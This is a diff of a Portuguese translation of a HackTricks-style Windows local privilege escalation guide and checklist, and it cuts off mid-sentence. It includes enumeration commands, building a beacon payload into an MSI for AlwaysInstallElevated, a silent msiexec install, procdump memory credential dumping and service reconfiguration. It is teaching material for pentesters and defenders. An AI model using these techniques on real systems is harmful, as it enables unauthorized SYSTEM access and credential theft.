[**current**](windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] Verificar privilégios do usuário **current** (atual) [**privileges**](windows-local-privilege-escalation/index.html#users-and-groups) - [ ] Você é [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)? -- [ ] Verificar se você tem [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] Verificar se você tem algum desses tokens habilitados](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? - [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? -- [ ] Verificar[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (acesso?) +- [ ] Verificar [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (acesso?) - [ ] Verificar [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) -- [ ] O que há [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? +- [ ] O que há [ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? ### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Verificar [**current**](windows-local-privilege-escalation/index.html#network) **network information** +- [ ] Verificar **current** [**network** **information**](windows-local-privilege-escalation/index.html#network) - [ ] Verificar **hidden local services** restritos ao exterior ### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) @@ -48,7 +48,7 @@ - [ ] Permissões de arquivos e pastas dos binários de processos [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) - [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) - [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) -- [ ] Roubar credenciais de **interesting processes** com `ProcDump.exe` ? (firefox, chrome, etc ...) +- [ ] Roubar credenciais com **interesting processes** via `ProcDump.exe` ? (firefox, chrome, etc ...) ### [Services](windows-local-privilege-escalation/index.html#services) @@ -63,23 +63,23 @@ - [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) - [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) -### [DLL Hijacking](windows-local-privilege-escalation/index.html#Path-dll-hijacking) +### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) - [ ] Você pode **write in any folder inside PATH**? -- [ ] Existe algum binário de serviço conhecido que **tries to load any non-existant DLL**? +- [ ] Existe algum service binary conhecido que **tries to load any non-existant DLL**? - [ ] Você pode **write** em alguma **binaries folder**? ### [Network](windows-local-privilege-escalation/index.html#network) - [ ] Enumerar a rede (shares, interfaces, routes, neighbours, ...) -- [ ] Prestar atenção especial a serviços de rede que escutam em localhost (127.0.0.1) +- [ ] Prestar atenção especial a serviços de rede escutando em localhost (127.0.0.1) ### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) -- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials +- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) credentials - [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials que você poderia usar? -- [ ] Informação interessante de [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? -- [ ] Senhas de [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)? +- [ ] DPAPI credentials interessantes? ([**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? +- [ ] Senhas de redes WiFi salvas [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)? - [ ] Informação interessante em [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? - [ ] Senhas em [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)? - [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) passwords? @@ -97,11 +97,11 @@ - [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? - [ ] Senha em [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)? - [ ] Informação interessante em [**web** **logs**](windows-local-privilege-escalation/index.html#logs)? -- [ ] Quer [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) ao usuário? -- [ ] Arquivos interessantes dentro da [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? +- [ ] Deseja [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) ao usuário? +- [ ] Arquivos interessantes dentro do [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? - [ ] Outros [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)? - [ ] Dentro de [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)? -- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) em arquivos e registro +- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) em arquivos e registry - [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) para procurar automaticamente por senhas ### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 56b36b486..cc67cb726 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -### **Melhor ferramenta para procurar vetores de Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Initial Windows Theory +## Teoria Inicial do Windows ### Access Tokens @@ -33,20 +33,20 @@ acls-dacls-sacls-aces.md integrity-levels.md {{#endref}} -## Windows Security Controls +## Controles de Segurança do Windows -Existem diferentes coisas no Windows que podem **impedi-lo de enumerar o sistema**, executar executáveis ou mesmo **detectar suas atividades**. Você deve **ler** a seguinte **página** e **enumerar** todos esses **mecanismos** de **defesa** **antes de iniciar a enumeração de privilege escalation**: +Existem diferentes elementos no Windows que podem **impedir que você enumere o sistema**, execute executáveis ou até mesmo **detectar suas atividades**. Você deve **ler** a seguinte **página** e **enumerar** todos estes **mecanismos** **de defesa** antes de iniciar a enumeração de privilege escalation: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## System Info +## Informações do Sistema -### Version info enumeration +### Enumeração de informações de versão -Verifique se a versão do Windows possui alguma vulnerabilidade conhecida (verifique também os patches aplicados). +Verifique se a versão do Windows tem alguma vulnerabilidade conhecida (verifique também os patches aplicados). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Explorações por versão +### Exploits por versão -Este [site](https://msrc.microsoft.com/update-guide/vulnerability) é útil para procurar informações detalhadas sobre vulnerabilidades de segurança da Microsoft. Esta base de dados tem mais de 4.700 vulnerabilidades de segurança, mostrando o **massive attack surface** que um ambiente Windows apresenta. +This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the **enorme superfície de ataque** that a Windows environment presents. **No sistema** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas tem watson incorporado)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas tem watson embutido)_ **Localmente com informações do sistema** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Repositórios no GitHub de exploits:** +**Repositórios Github de exploits:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -83,7 +83,7 @@ Este [site](https://msrc.microsoft.com/update-guide/vulnerability) é útil para ### Ambiente -Alguma credencial/Juicy info salva nas env variables? +Alguma credential/Juicy info salva nas variáveis de ambiente? ```bash set dir env: @@ -116,29 +116,29 @@ Stop-Transcript ``` ### PowerShell Module Logging -Detalhes das execuções do pipeline do PowerShell são registrados, abrangendo comandos executados, invocações de comandos e partes de scripts. No entanto, detalhes completos da execução e os resultados de saída podem não ser capturados. +Detalhes das execuções do pipeline do PowerShell são registrados, incluindo comandos executados, invocações de comandos e trechos de scripts. Contudo, detalhes completos da execução e os resultados de saída podem não ser capturados. -Para ativar isso, siga as instruções na seção "Transcript files" da documentação, optando por **"Module Logging"** em vez de **"Powershell Transcription"**. +Para ativar isso, siga as instruções na seção "Transcript files" da documentação, escolhendo **"Module Logging"** em vez de **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Para visualizar os últimos 15 eventos nos logs do PowersShell, você pode executar: +Para visualizar os últimos 15 eventos dos logs do Powershell, você pode executar: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Um registro completo de atividade e do conteúdo total da execução do script é capturado, garantindo que cada bloco de código seja documentado à medida que é executado. Esse processo preserva uma trilha de auditoria abrangente de cada atividade, valiosa para investigações forenses e para a análise de comportamento malicioso. Ao documentar todas as atividades no momento da execução, obtêm-se insights detalhados sobre o processo. +É capturado um registro completo de atividade e do conteúdo integral da execução do script, garantindo que cada bloco de código seja documentado à medida que é executado. Esse processo preserva uma trilha de auditoria abrangente de cada atividade, valiosa para investigações forenses e para análise de comportamento malicioso. Ao documentar toda a atividade no momento da execução, são fornecidas informações detalhadas sobre o processo. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Os eventos de log para o Script Block podem ser encontrados no Windows Event Viewer no caminho: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Os eventos de log do Script Block podem ser encontrados no Visualizador de Eventos do Windows no caminho: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Para ver os últimos 20 eventos você pode usar: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview @@ -158,11 +158,11 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| Você pode comprometer o sistema se as atualizações não forem solicitadas usando http**S** mas http. -Comece verificando se a rede usa uma atualização WSUS sem SSL executando o seguinte no cmd: +Comece verificando se a rede usa um non-SSL WSUS update executando o seguinte no cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -Ou o seguinte no PowerShell: +Ou o seguinte em PowerShell: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` @@ -182,11 +182,11 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` E se `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` ou `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` for igual a `1`. -Então, **é explorável.** Se o último registro for igual a 0, então a entrada WSUS será ignorada. +Então, **é explorável.** Se o último valor do registro for igual a 0, a entrada WSUS será ignorada. -Para explorar essa vulnerabilidade você pode usar ferramentas como: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- Estas são scripts de exploit MiTM armados para injetar atualizações 'falsas' em tráfego WSUS não-SSL. +Para explorar essa(s) vulnerabilidade(s) você pode usar ferramentas como: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Estas são scripts MiTM de exploit weaponized para injetar atualizações "falsas" no tráfego WSUS não-SSL. -Leia a pesquisa aqui: +Read the research here: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -201,11 +201,12 @@ Basicamente, esta é a falha que este bug explora: > > Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. -Você pode explorar essa vulnerabilidade usando a ferramenta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (uma vez que esteja liberada). +Você pode explorar essa vulnerabilidade usando a ferramenta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (assim que estiver liberada). ## Third-Party Auto-Updaters and Agent IPC (local privesc) -Muitos agentes empresariais expõem uma superfície IPC em localhost e um canal de atualização privilegiado. Se o enrollment puder ser forçado para um servidor do atacante e o updater confiar em uma root CA maliciosa ou em verificações de assinatura fracas, um usuário local pode entregar um MSI malicioso que o serviço SYSTEM instala. Veja uma técnica generalizada (baseada na cadeia Netskope stAgentSvc – CVE-2025-0309) aqui: +Muitos agentes empresariais expõem uma superfície IPC localhost e um canal de atualização privilegiado. Se o enrollment puder ser coagido para um servidor do atacante e o updater confiar em uma rogue root CA ou em verificações de assinante fracas, um usuário local pode entregar um MSI malicioso que o serviço SYSTEM instala. Veja uma técnica generalizada (baseada na cadeia Netskope stAgentSvc – CVE-2025-0309) aqui: + {{#ref}} abusing-auto-updaters-and-ipc.md @@ -213,7 +214,7 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -Uma **local privilege escalation** vulnerability existe em ambientes Windows **domain** sob condições específicas. Essas condições incluem ambientes onde **LDAP signing is not enforced,** usuários possuem direitos que lhes permitem configurar **Resource-Based Constrained Delegation (RBCD),** e a capacidade de usuários criarem computadores dentro do domínio. É importante notar que esses **requirements** são atendidos usando as **default settings**. +Uma vulnerabilidade de **local privilege escalation** existe em ambientes Windows **domain** sob condições específicas. Essas condições incluem ambientes onde **LDAP signing não é aplicado**, usuários possuem direitos para configurar **Resource-Based Constrained Delegation (RBCD)**, e a capacidade de usuários criarem computadores no domínio. É importante notar que esses **requisitos** são atendidos usando as **configurações padrão**. Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) @@ -221,7 +222,7 @@ For more information about the flow of the attack check [https://research.nccgro ## AlwaysInstallElevated -**Se** estes 2 registros estiverem **habilitados** (valor é **0x1**), então usuários de qualquer privilégio podem **instalar** (executar) `*.msi` files as NT AUTHORITY\\**SYSTEM**. +**Se** esses 2 registradores estiverem **habilitados** (valor é **0x1**), então usuários de qualquer privilégio podem **instalar** (executar) `*.msi` como NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -235,7 +236,7 @@ Se você tiver uma sessão meterpreter, pode automatizar esta técnica usando o ### PowerUP -Use o comando `Write-UserAddMSI` do power-up para criar dentro do diretório atual um binário Windows MSI para escalar privilégios. Este script grava um instalador MSI pré-compilado que solicita a adição de um usuário/grupo (portanto você precisará de acesso GUI): +Use o comando `Write-UserAddMSI` do power-up para criar dentro do diretório atual um binário MSI do Windows para escalar privilégios. Este script grava um instalador MSI pré-compilado que solicita a adição de usuário/grupo (então você precisará de GIU acesso): ``` Write-UserAddMSI ``` @@ -243,60 +244,60 @@ Basta executar o binário criado para escalar privilégios. ### MSI Wrapper -Leia este tutorial para aprender como criar um MSI wrapper usando estas ferramentas. Note que você pode empacotar um "**.bat**" file se você **apenas** quiser **executar** **linhas de comando** +Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a "**.bat**" file if you **just** want to **execute** **linhas de comando** {{#ref}} msi-wrapper.md {{#endref}} -### Criar MSI com WIX +### Create MSI with WIX {{#ref}} create-msi-with-wix.md {{#endref}} -### Criar MSI com Visual Studio +### Create MSI with Visual Studio - **Gere** com Cobalt Strike ou Metasploit um **new Windows EXE TCP payload** em `C:\privesc\beacon.exe` -- Abra **Visual Studio**, selecione **Create a new project** e digite "installer" na caixa de busca. Selecione o projeto **Setup Wizard** e clique **Next**. -- Dê ao projeto um nome, como **AlwaysPrivesc**, use **`C:\privesc`** como localização, selecione **place solution and project in the same directory**, e clique **Create**. -- Continue clicando **Next** até chegar ao passo 3 de 4 (choose files to include). Clique **Add** e selecione o Beacon payload que você acabou de gerar. Depois clique em **Finish**. -- Selecione o projeto **AlwaysPrivesc** no **Solution Explorer** e nas **Properties**, altere **TargetPlatform** de **x86** para **x64**. +- Abra **Visual Studio**, selecione **Create a new project** e digite "installer" na caixa de busca. Selecione o projeto **Setup Wizard** e clique em **Next**. +- Dê ao projeto um nome, como **AlwaysPrivesc**, use **`C:\privesc`** para o local, selecione **place solution and project in the same directory**, e clique em **Create**. +- Continue clicando **Next** até chegar à etapa 3 de 4 (choose files to include). Clique **Add** e selecione o Beacon payload que você acabou de gerar. Em seguida clique em **Finish**. +- Destaque o projeto **AlwaysPrivesc** no **Solution Explorer** e, em **Properties**, altere **TargetPlatform** de **x86** para **x64**. - Existem outras propriedades que você pode alterar, como **Author** e **Manufacturer**, que podem fazer o aplicativo instalado parecer mais legítimo. - Clique com o botão direito no projeto e selecione **View > Custom Actions**. - Clique com o botão direito em **Install** e selecione **Add Custom Action**. -- Dê um duplo clique em **Application Folder**, selecione seu arquivo **beacon.exe** e clique em **OK**. Isso garantirá que o payload beacon seja executado assim que o instalador for iniciado. -- Sob as **Custom Action Properties**, altere **Run64Bit** para **True**. -- Por fim, **build it**. -- Se o aviso `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` for exibido, certifique-se de definir a plataforma para x64. +- Dê um duplo clique em **Application Folder**, selecione seu arquivo **beacon.exe** e clique em **OK**. Isso garantirá que o beacon payload seja executado assim que o instalador for executado. +- Em **Custom Action Properties**, altere **Run64Bit** para **True**. +- Finalmente, **build it**. +- Se o aviso `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` for exibido, certifique-se de que você definiu a plataforma para x64. -### Instalação do MSI +### MSI Installation -Para executar a **instalação** do arquivo `.msi` malicioso em **segundo plano:** +Para executar a **instalação** do arquivo malicioso `.msi` em **segundo plano:** ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Para explorar esta vulnerabilidade você pode usar: _exploit/windows/local/always_install_elevated_ +Para explorar essa vulnerabilidade você pode usar: _exploit/windows/local/always_install_elevated_ ## Antivírus e Detectores ### Configurações de Auditoria -Estas configurações determinam o que é **registrado**, então você deve prestar atenção +Essas configurações determinam o que está sendo **registrado**, então você deve prestar atenção ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding, é interessante saber para onde os logs são enviados +Windows Event Forwarding, é interessante saber para onde os logs são enviados. ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** é projetado para o **gerenciamento de senhas do Administrator local**, garantindo que cada senha seja **única, randomizada e atualizada regularmente** em computadores ingressados em um domínio. Essas senhas são armazenadas de forma segura no Active Directory e só podem ser acessadas por usuários a quem foram concedidas permissões suficientes através de ACLs, permitindo que visualizem senhas do Administrator local se autorizados. +**LAPS** foi projetado para o **gerenciamento de senhas do Administrator local**, garantindo que cada senha seja **única, aleatorizada e atualizada regularmente** em computadores ingressados em um domínio. Essas senhas são armazenadas com segurança no Active Directory e só podem ser acessadas por usuários que tenham recebido permissões suficientes por meio de ACLs, permitindo que visualizem local admin passwords se autorizados. {{#ref}} @@ -305,37 +306,36 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Se ativo, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ +Se ativo, **senhas em plain-text são armazenadas no LSASS** (Local Security Authority Subsystem Service).\ [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` -### Proteção do LSA +### LSA Protection -A partir do **Windows 8.1**, a Microsoft introduziu proteção aprimorada para a Autoridade de Segurança Local (LSA) para **bloquear** tentativas de processos não confiáveis de **ler sua memória** ou injetar código, aumentando a segurança do sistema.\ -[**Mais informações sobre Proteção do LSA aqui**](../stealing-credentials/credentials-protections.md#lsa-protection). +A partir do **Windows 8.1**, a Microsoft introduziu proteção aprimorada para o Local Security Authority (LSA) para **bloquear** tentativas de processos não confiáveis de **ler sua memória** ou injetar código, aumentando a segurança do sistema.\ +[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** foi introduzido no **Windows 10**. Seu propósito é proteger as credenciais armazenadas em um dispositivo contra ameaças como ataques pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** foi introduzido no **Windows 10**. Seu objetivo é proteger as credenciais armazenadas em um dispositivo contra ameaças como ataques pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` -### Credenciais em cache +### Cached Credentials -**Credenciais de domínio** são autenticadas pela **Local Security Authority** (LSA) e utilizadas por componentes do sistema operacional. Quando os dados de logon de um usuário são autenticados por um pacote de segurança registrado, as credenciais de domínio para esse usuário normalmente são estabelecidas.\ - -[**Mais informações sobre Credenciais em cache aqui**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** são autenticadas pela **Local Security Authority** (LSA) e utilizadas pelos componentes do sistema operacional. Quando os dados de logon de um usuário são autenticados por um pacote de segurança registrado, as domain credentials do usuário normalmente são estabelecidas.\ +[**Mais informações sobre Cached Credentials aqui**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -## Usuários & Grupos +## Usuários e Grupos -### Enumerar Usuários & Grupos +### Enumerar Usuários e Grupos -Você deve verificar se algum dos grupos aos quais você pertence possui permissões interessantes +Você deve verificar se algum dos grupos dos quais você faz parte possui permissões interessantes ```bash # CMD net users %username% #Me @@ -352,29 +352,29 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Grupos privilegiados -Se você **pertence a algum grupo privilegiado, pode conseguir escalar privilégios**. Saiba sobre grupos privilegiados e como abusar deles para escalar privilégios aqui: +Se você **pertencer a algum grupo privilegiado, pode escalar privilégios**. Saiba sobre grupos privilegiados e como abusar deles para escalar privilégios aqui: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Token manipulation +### Manipulação de tokens **Saiba mais** sobre o que é um **token** nesta página: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Consulte a página a seguir para **aprender sobre tokens interessantes** e como abusá-los: +Confira a página a seguir para **aprender sobre tokens interessantes** e como abusá-los: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### Usuários conectados / Sessões +### Usuários logados / Sessões ```bash qwinsta klist sessions ``` -### Pastas de usuário +### Pastas do usuário ```bash dir C:\Users Get-ChildItem C:\Users @@ -383,7 +383,7 @@ Get-ChildItem C:\Users ```bash net accounts ``` -### Obter o conteúdo da área de transferência +### Obter o conteúdo do clipboard ```bash powershell -command "Get-Clipboard" ``` @@ -391,8 +391,8 @@ powershell -command "Get-Clipboard" ### Permissões de Arquivos e Pastas -Antes de tudo, ao listar os processos, verifique **se há senhas dentro da linha de comando do processo**.\ -Verifique se você pode **sobrescrever algum binário em execução** ou se tem permissões de escrita na pasta do binário para explorar possíveis [**DLL Hijacking attacks**](dll-hijacking/index.html): +Primeiro de tudo, ao listar os processos, **verifique se há senhas na linha de comando do processo**.\ +Verifique se você pode **sobrescrever algum binário em execução** ou se você tem permissões de escrita na pasta de binários para explorar possíveis [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -403,7 +403,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Sempre verifique se há [**electron/cef/chromium debuggers** em execução; você pode abusar deles para escalar privilégios](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Sempre verifique se há possíveis [**electron/cef/chromium debuggers** em execução, você pode abusar deles para escalar privilégios](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **Verificando permissões dos binários dos processos** ```bash @@ -414,7 +414,7 @@ icacls "%%z" ) ) ``` -**Verificando as permissões das pastas dos binários dos processos (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Verificando permissões das pastas dos binários dos processos (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -424,19 +424,19 @@ todos %username%" && echo. ``` ### Memory Password mining -Você pode criar um memory dump de um processo em execução usando **procdump** do sysinternals. Serviços como FTP têm as **credentials in clear text in memory**; tente fazer o memory dump e ler as credentials. +Você pode criar um memory dump de um processo em execução usando **procdump** do sysinternals. Serviços como FTP têm as **credentials in clear text in memory**. Tente fazer o dump da memória e ler as credentials. ```bash procdump.exe -accepteula -ma ``` -### Aplicações GUI inseguras +### Aplicativos GUI inseguros -**Aplicações executadas como SYSTEM podem permitir que um usuário abra um CMD ou navegue por diretórios.** +**Aplicativos sendo executados como SYSTEM podem permitir que um usuário execute um CMD ou navegue por diretórios.** -Exemplo: "Windows Help and Support" (Windows + F1), procure por "command prompt", clique em "Click to open Command Prompt" +Exemplo: "Windows Help and Support" (Windows + F1), pesquise por "command prompt", clique em "Click to open Command Prompt" ## Serviços -Obtenha uma lista de serviços: +Obter uma lista de serviços: ```bash net start wmic service list brief @@ -445,15 +445,15 @@ Get-Service ``` ### Permissões -Você pode usar **sc** para obter informações sobre um serviço +Você pode usar **sc** para obter informações de um serviço ```bash sc qc ``` -Recomenda-se ter o binário **accesschk** do _Sysinternals_ para verificar o nível de privilégio necessário para cada serviço. +É recomendado ter o binário **accesschk** da _Sysinternals_ para verificar o nível de privilégio necessário para cada serviço. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -É recomendável verificar se "Authenticated Users" podem modificar algum serviço: +Recomenda-se verificar se "Authenticated Users" podem modificar qualquer serviço: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -462,27 +462,27 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` [You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) -### Habilitar serviço +### Ativar serviço Se você estiver recebendo este erro (por exemplo com SSDPSRV): _System error 1058 has occurred._\ _The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ -Você pode habilitá-lo usando +Você pode ativá-lo usando ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**Tenha em conta que o serviço upnphost depende do SSDPSRV para funcionar (para XP SP1)** +**Tenha em conta que o serviço upnphost depende de SSDPSRV para funcionar (para XP SP1)** -**Outra solução alternativa para este problema é executar:** +**Outra solução alternativa** deste problema é executar: ``` sc.exe config usosvc start= auto ``` -### **Modificar o caminho do binário do serviço** +### **Modificar caminho do binário do serviço** -Na situação em que o grupo "Authenticated users" possui **SERVICE_ALL_ACCESS** em um serviço, é possível modificar o binário executável do serviço. Para modificar e executar **sc**: +No cenário em que o grupo "Authenticated users" possui **SERVICE_ALL_ACCESS** em um serviço, é possível modificar o binário executável do 